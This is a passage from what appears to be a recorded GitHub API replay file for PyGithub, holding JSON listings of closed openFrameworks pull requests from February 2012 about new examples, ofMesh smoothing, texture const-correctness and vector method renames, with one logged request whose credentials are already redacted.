that.","number":983,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/983","diff_url":"https://github.com/openframeworks/openFrameworks/pull/983.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/983.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/983","labels":[],"id":3386878,"closed_at":"2012-02-25T19:54:16Z","created_at":"2012-02-25T19:34:36Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"69406d376e65f8070acfbe220f246989","url":"https://api.github.com/users/patriciogonzalezvivo","login":"patriciogonzalezvivo","id":346914,"avatar_url":"https://secure.gravatar.com/avatar/69406d376e65f8070acfbe220f246989?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"changing some examples places, adding some notes to them, and other aesthetic things","html_url":"https://github.com/openframeworks/openFrameworks/issues/982","comments":0,"assignee":null,"updated_at":"2012-02-25T19:34:04Z","body":"","number":982,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/982","diff_url":"https://github.com/openframeworks/openFrameworks/pull/982.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/982.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/982","labels":[],"id":3386819,"closed_at":"2012-02-25T19:34:04Z","created_at":"2012-02-25T19:22:55Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"3b88af2b75dcea500fcf7a472ae239eb","url":"https://api.github.com/users/golanlevin","login":"golanlevin","id":290053,"avatar_url":"https://secure.gravatar.com/avatar/3b88af2b75dcea500fcf7a472ae239eb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Adding noise1dExample and noise1dOctaveExample.","html_url":"https://github.com/openframeworks/openFrameworks/issues/981","comments":0,"assignee":null,"updated_at":"2012-02-25T15:09:28Z","body":"Thanks!","number":981,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/981","diff_url":"https://github.com/openframeworks/openFrameworks/pull/981.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/981.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/981","labels":[],"id":3385318,"closed_at":"2012-02-25T15:09:28Z","created_at":"2012-02-25T15:09:04Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"cleaning devApps, reverting matrix caching regression","html_url":"https://github.com/openframeworks/openFrameworks/issues/980","comments":2,"assignee":null,"updated_at":"2012-02-25T17:57:57Z","body":"+conversionExample from devApps\r\n+billboardExample (wip) from devApps\r\n~reverting matrix caching regression","number":980,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/980","diff_url":"https://github.com/openframeworks/openFrameworks/pull/980.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/980.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/980","labels":[],"id":3383596,"closed_at":"2012-02-25T17:57:57Z","created_at":"2012-02-25T06:47:11Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"3b88af2b75dcea500fcf7a472ae239eb","url":"https://api.github.com/users/golanlevin","login":"golanlevin","id":290053,"avatar_url":"https://secure.gravatar.com/avatar/3b88af2b75dcea500fcf7a472ae239eb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Correction of ofMesh smoothing","html_url":"https://github.com/openframeworks/openFrameworks/issues/979","comments":0,"assignee":null,"updated_at":"2012-02-25T06:28:22Z","body":"Hi Arturo, \r\nI would REALLY appreciate it if you would please accept this small correction to OF. \r\nThanks,\r\nGolan\r\n","number":979,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/979","diff_url":"https://github.com/openframeworks/openFrameworks/pull/979.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/979.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/979","labels":[],"id":3383507,"closed_at":"2012-02-25T06:28:22Z","created_at":"2012-02-25T06:23:22Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"removed a residual '\\n' char; added ofQuickTimeGrabber to error log headers","html_url":"https://github.com/openframeworks/openFrameworks/issues/978","comments":0,"assignee":null,"updated_at":"2012-02-25T11:31:28Z","body":".","number":978,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/978","diff_url":"https://github.com/openframeworks/openFrameworks/pull/978.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/978.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/978","labels":[],"id":3383278,"closed_at":"2012-02-25T11:31:28Z","created_at":"2012-02-25T05:10:22Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Win32 bug fix for ofFile Utils","html_url":"https://github.com/openframeworks/openFrameworks/issues/977","comments":0,"assignee":null,"updated_at":"2012-02-25T04:18:41Z","body":"","number":977,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/977","diff_url":"https://github.com/openframeworks/openFrameworks/pull/977.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/977.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/977","labels":[],"id":3383090,"closed_at":"2012-02-25T04:18:41Z","created_at":"2012-02-25T04:10:52Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Image Sequence Example","html_url":"https://github.com/openframeworks/openFrameworks/issues/975","comments":1,"assignee":null,"updated_at":"2012-02-25T04:00:36Z","body":"\r\n In this example we are going to load a sequence of images from a folder.\r\n We know that the images are in order and the we saved them out at 24fps. \r\n the goal is to play them back at 24fps independent of the fps of the app.\r\n \r\n note: if you bring the frame-rate lower then 24 it will look a bit slow\r\n \r\n\r\n Topics:\r\n - ofDirectory\r\n - ofImage\r\n - timing\r\n \r\n gif from: http://probertson.livejournal.com/32350.html\r\n \r\n\r\nalso little fix for systemExample (no rate param)","number":975,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/975","diff_url":"https://github.com/openframeworks/openFrameworks/pull/975.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/975.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/975","labels":[],"id":3382936,"closed_at":"2012-02-25T04:00:35Z","created_at":"2012-02-25T03:26:15Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Fix for system say example and a image sequence example ","html_url":"https://github.com/openframeworks/openFrameworks/issues/974","comments":0,"assignee":null,"updated_at":"2012-02-25T03:23:47Z","body":"Image Sequence Example\r\n In this example we are going to load a sequence of images from a folder.\r\n We know that the images are in order and the we saved them out at 24fps. \r\n the goal is to play them back at 24fps independent of the fps of the app.\\\r\n \r\n note: if you bring the frame-rate lower then 24 it will look a bit slow\r\n \r\n \r\n Topics:\r\n - ofDirectory\r\n - ofImage\r\n - timing\r\n \r\n gif from: http://probertson.livejournal.com/32350.html\r\n ","number":974,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/974","diff_url":"https://github.com/openframeworks/openFrameworks/pull/974.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/974.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/974","labels":[],"id":3382918,"closed_at":"2012-02-25T03:23:47Z","created_at":"2012-02-25T03:21:44Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofPath, ofPolyline, ofCairoRenderer :: arcNegative() support added.","html_url":"https://github.com/openframeworks/openFrameworks/issues/973","comments":7,"assignee":null,"updated_at":"2012-02-25T19:32:22Z","body":"All \"arc\" methods now accept any start or stop angle. Counter clockwise arcs can now be drawn with arcNegative method. Associated Cairo support for \"arc_negative\" added and tested. Circle Points LUT preserved for all. Arc method generally re-written to support both clockwise and counter-clockwise directions.\r\n\r\nThis PR fixed to leave out GLUT-keymod-related changes.","number":973,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/973","diff_url":"https://github.com/openframeworks/openFrameworks/pull/973.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/973.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/973","labels":[],"id":3382908,"closed_at":"2012-02-25T19:32:22Z","created_at":"2012-02-25T03:19:37Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"69406d376e65f8070acfbe220f246989","url":"https://api.github.com/users/patriciogonzalezvivo","login":"patriciogonzalezvivo","id":346914,"avatar_url":"https://secure.gravatar.com/avatar/69406d376e65f8070acfbe220f246989?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"I fix the alphaMasking and multiTexturing GPU examples ","html_url":"https://github.com/openframeworks/openFrameworks/issues/968","comments":0,"assignee":null,"updated_at":"2012-02-25T01:36:49Z","body":"","number":968,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/968","diff_url":"https://github.com/openframeworks/openFrameworks/pull/968.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/968.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/968","labels":[],"id":3381924,"closed_at":"2012-02-25T01:36:49Z","created_at":"2012-02-25T01:27:54Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","url":"https://api.github.com/users/kpasko","login":"kpasko","id":167271,"avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"normals example modification","html_url":"https://github.com/openframeworks/openFrameworks/issues/967","comments":1,"assignee":null,"updated_at":"2012-02-25T01:53:36Z","body":"used ofMap instead of more opaque direct version and cached matrices to avoid multiple printouts","number":967,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/967","diff_url":"https://github.com/openframeworks/openFrameworks/pull/967.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/967.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/967","labels":[],"id":3381700,"closed_at":"2012-02-25T01:53:36Z","created_at":"2012-02-25T00:59:07Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","login":"jvcleave","id":150037,"avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"added ofFile/ofBuffer and ofFileDialogResult examples","html_url":"https://github.com/openframeworks/openFrameworks/issues/966","comments":0,"assignee":null,"updated_at":"2012-02-25T00:29:40Z","body":"added example of ofFile/ofBuffer to load .csv file\r\n\r\nadded example of ofFileDialogResult for opening/saving files","number":966,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/966","diff_url":"https://github.com/openframeworks/openFrameworks/pull/966.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/966.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/966","labels":[],"id":3381209,"closed_at":"2012-02-25T00:29:40Z","created_at":"2012-02-24T23:54:59Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Bunch of examples and ofSort(...)","html_url":"https://github.com/openframeworks/openFrameworks/issues/965","comments":1,"assignee":null,"updated_at":"2012-02-25T00:31:29Z","body":"Utils:\r\nloadTextFileExample\r\nsortingExample\r\nsystemSpeakExample\r\nregularExpressionExample\r\n\r\nGL:\r\npointsAsTextures\r\nslowFastRendering\r\n\r\nOther:\r\nofSort(values, compare) just adding an second function so that you can pass in a compare function for sorting. ","number":965,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/965","diff_url":"https://github.com/openframeworks/openFrameworks/pull/965.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/965.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/965","labels":[],"id":3381113,"closed_at":"2012-02-25T00:31:29Z","created_at":"2012-02-24T23:44:35Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","url":"https://api.github.com/users/roymacdonald","login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"little format fix in trigonometryexample","html_url":"https://github.com/openframeworks/openFrameworks/issues/964","comments":0,"assignee":null,"updated_at":"2012-02-24T23:09:25Z","body":"","number":964,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/964","diff_url":"https://github.com/openframeworks/openFrameworks/pull/964.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/964.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/964","labels":[],"id":3380744,"closed_at":"2012-02-24T23:09:25Z","created_at":"2012-02-24T23:08:16Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","url":"https://api.github.com/users/damiannz","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofVec2f/ofVec3f: align() -> isAligned()","html_url":"https://github.com/openframeworks/openFrameworks/issues/963","comments":0,"assignee":null,"updated_at":"2012-02-24T22:40:23Z","body":"ofVec2f and ofVec3f contain methods called align() that for consistency *should* be called isAligned(). this pull request adds isAligned() methods, shifts functionality from align() to isAligned() and makes align() call isAligned().\r\n\r\ni think that use of align() should be **deprecated** from now on.","number":963,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/963","diff_url":"https://github.com/openframeworks/openFrameworks/pull/963.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/963.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/963","labels":[],"id":3380321,"closed_at":"2012-02-24T22:40:23Z","created_at":"2012-02-24T22:36:12Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","url":"https://api.github.com/users/damiannz","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"added align() -> isAligned() in ofVec2f/ofVec3f","html_url":"https://github.com/openframeworks/openFrameworks/issues/962","comments":0,"assignee":null,"updated_at":"2012-02-24T22:35:08Z","body":"ofVec2f and ofVec3f contain methods called align() that for consistency *should* be called isAligned(). this pull request adds isAligned() methods, shifts functionality from align() to isAligned() and makes align() call isAligned().\r\n\r\ni think that use of align() should be **deprecated** from now on.","number":962,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/962","diff_url":"https://github.com/openframeworks/openFrameworks/pull/962.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/962.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/962","labels":[],"id":3380289,"closed_at":"2012-02-24T22:35:08Z","created_at":"2012-02-24T22:34:48Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Osc chat example","html_url":"https://github.com/openframeworks/openFrameworks/issues/961","comments":4,"assignee":null,"updated_at":"2012-02-24T23:14:07Z","body":"A simple OSC chat application.","number":961,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/961","diff_url":"https://github.com/openframeworks/openFrameworks/pull/961.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/961.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/961","labels":[],"id":3378276,"closed_at":"2012-02-24T23:14:07Z","created_at":"2012-02-24T19:57:15Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"noise field in 2d example","html_url":"https://github.com/openframeworks/openFrameworks/issues/960","comments":3,"assignee":null,"updated_at":"2012-02-24T19:48:54Z","body":"https://secure.flickr.com/photos/kylemcdonald/6780339620/in/photostream\r\nhttps://secure.flickr.com/photos/kylemcdonald/6780339586/in/photostream","number":960,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/960","diff_url":"https://github.com/openframeworks/openFrameworks/pull/960.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/960.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/960","labels":[],"id":3377924,"closed_at":"2012-02-24T19:36:44Z","created_at":"2012-02-24T19:33:46Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","url":"https://api.github.com/users/roymacdonald","login":"roymacdonald","id":974878,"avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Develop","html_url":"https://github.com/openframeworks/openFrameworks/issues/959","comments":0,"assignee":null,"updated_at":"2012-02-24T18:32:14Z","body":"added trigonometry example and fixed a bug in ofPolyline::arc that wasn't drawing correctly when the angle was less than 360","number":959,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/959","diff_url":"https://github.com/openframeworks/openFrameworks/pull/959.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/959.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/959","labels":[],"id":3376932,"closed_at":"2012-02-24T18:32:14Z","created_at":"2012-02-24T18:26:55Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","url":"https://api.github.com/users/kpasko","login":"kpasko","id":167271,"avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Normals example, modify ofMesh drawing accordingly","html_url":"https://github.com/openframeworks/openFrameworks/issues/958","comments":0,"assignee":null,"updated_at":"2012-02-24T23:19:45Z","body":"Added an example for normals; in order to do it how i wanted, I added an enable/disable bool in ofMesh to allow for override of colors,textures, and normals (previously, was hard-enabling if any colors/textures/normals existed). This is in a commit that's semi-buried a few commits down because rebase wasn't playing nicely.","number":958,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/958","diff_url":"https://github.com/openframeworks/openFrameworks/pull/958.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/958.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/958","labels":[],"id":3376156,"closed_at":"2012-02-24T23:19:45Z","created_at":"2012-02-24T17:35:15Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Fix const load data on of texture","html_url":"https://github.com/openframeworks/openFrameworks/issues/957","comments":0,"assignee":null,"updated_at":"2012-02-24T23:40:00Z","body":"hey!\r\ni know you guys must be busy\r\n\r\nbut here's a couple of small things that have been quite important to me\r\n\r\n1. const correctness of ofTexture::loadData\r\n2. ofTexture::allocate(const ofPIxels& pix)\r\n\r\ni think it's also worth adding allocate(const ofShortPixels& pix) and allocate(const ofFloatPixels pix) in a seperate pull request later when they can be tested properly\r\n\r\npull pull pull!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nelliot","number":957,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/957","diff_url":"https://github.com/openframeworks/openFrameworks/pull/957.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/957.patch"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/957","labels":[],"id":3368701,"closed_at":"2012-02-24T23:40:00Z","created_at":"2012-02-24T06:47:11Z"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=10&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '25537'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"4015a8b16b7c01d7375be17a81ff2c11"'), ('date', 'Tue, 29 May 2012 18:46:31 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-25T04:38:01Z","body":"Also removed some leftover '\\n' chars from previous printfs.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/956","comments":6,"milestone":null,"number":956,"html_url":"https://github.com/openframeworks/openFrameworks/issues/956","assignee":null,"title":"replaced more residual printfs","labels":[],"closed_at":"2012-02-25T04:38:01Z","created_at":"2012-02-24T05:45:29Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":3368375,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/956.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/956","patch_url":"https://github.com/openframeworks/openFrameworks/pull/956.patch"}},{"updated_at":"2012-02-24T04:24:16Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/954","comments":0,"milestone":null,"number":954,"html_url":"https://github.com/openframeworks/openFrameworks/issues/954","assignee":null,"title":"added const get getTextureData()","labels":[],"closed_at":"2012-02-24T04:24:16Z","created_at":"2012-02-24T04:17:54Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"obviousjim","id":321434},"id":3367833,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/954.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/954","patch_url":"https://github.com/openframeworks/openFrameworks/pull/954.patch"}},{"updated_at":"2012-02-24T03:50:12Z","body":"+ pointPickerExample\r\n+ ofBackgroundGradient\r\n+ ofDrawBitmapStringHighlight","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/953","comments":0,"milestone":null,"number":953,"html_url":"https://github.com/openframeworks/openFrameworks/issues/953","assignee":null,"title":"adding some features and examples","labels":[],"closed_at":"2012-02-24T03:50:12Z","created_at":"2012-02-24T03:48:40Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":3367661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/953.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/953","patch_url":"https://github.com/openframeworks/openFrameworks/pull/953.patch"}},{"updated_at":"2012-02-24T18:32:01Z","body":"Adding ofSort with a compare function and example","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/952","comments":0,"milestone":null,"number":952,"html_url":"https://github.com/openframeworks/openFrameworks/issues/952","assignee":null,"title":"ofSort(values, compare) with example","labels":[],"closed_at":"2012-02-24T18:32:01Z","created_at":"2012-02-24T02:39:47Z","state":"closed","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"vanderlin","id":149997},"id":3367207,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/952.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/952","patch_url":"https://github.com/openframeworks/openFrameworks/pull/952.patch"}},{"updated_at":"2012-02-24T01:35:43Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/951","comments":0,"milestone":null,"number":951,"html_url":"https://github.com/openframeworks/openFrameworks/issues/951","assignee":null,"title":"texture data by reference fix","labels":[],"closed_at":"2012-02-24T01:35:43Z","created_at":"2012-02-24T01:32:35Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"obviousjim","id":321434},"id":3366641,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/951.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/951","patch_url":"https://github.com/openframeworks/openFrameworks/pull/951.patch"}},{"updated_at":"2012-02-24T01:20:03Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/950","comments":0,"milestone":null,"number":950,"html_url":"https://github.com/openframeworks/openFrameworks/issues/950","assignee":null,"title":"committed image for greenscreen","labels":[],"closed_at":"2012-02-24T01:20:03Z","created_at":"2012-02-24T01:13:56Z","state":"closed","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"obviousjim","id":321434},"id":3366484,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/950.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/950","patch_url":"https://github.com/openframeworks/openFrameworks/pull/950.patch"}},{"updated_at":"2012-02-24T22:11:08Z","body":"* ensure normalize() doesn't divide-by-zero\r\n* make setHsb conform to the always-specify-alpha rule","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/949","comments":5,"milestone":null,"number":949,"html_url":"https://github.com/openframeworks/openFrameworks/issues/949","assignee":null,"title":"FIX: color weirdnesses (please 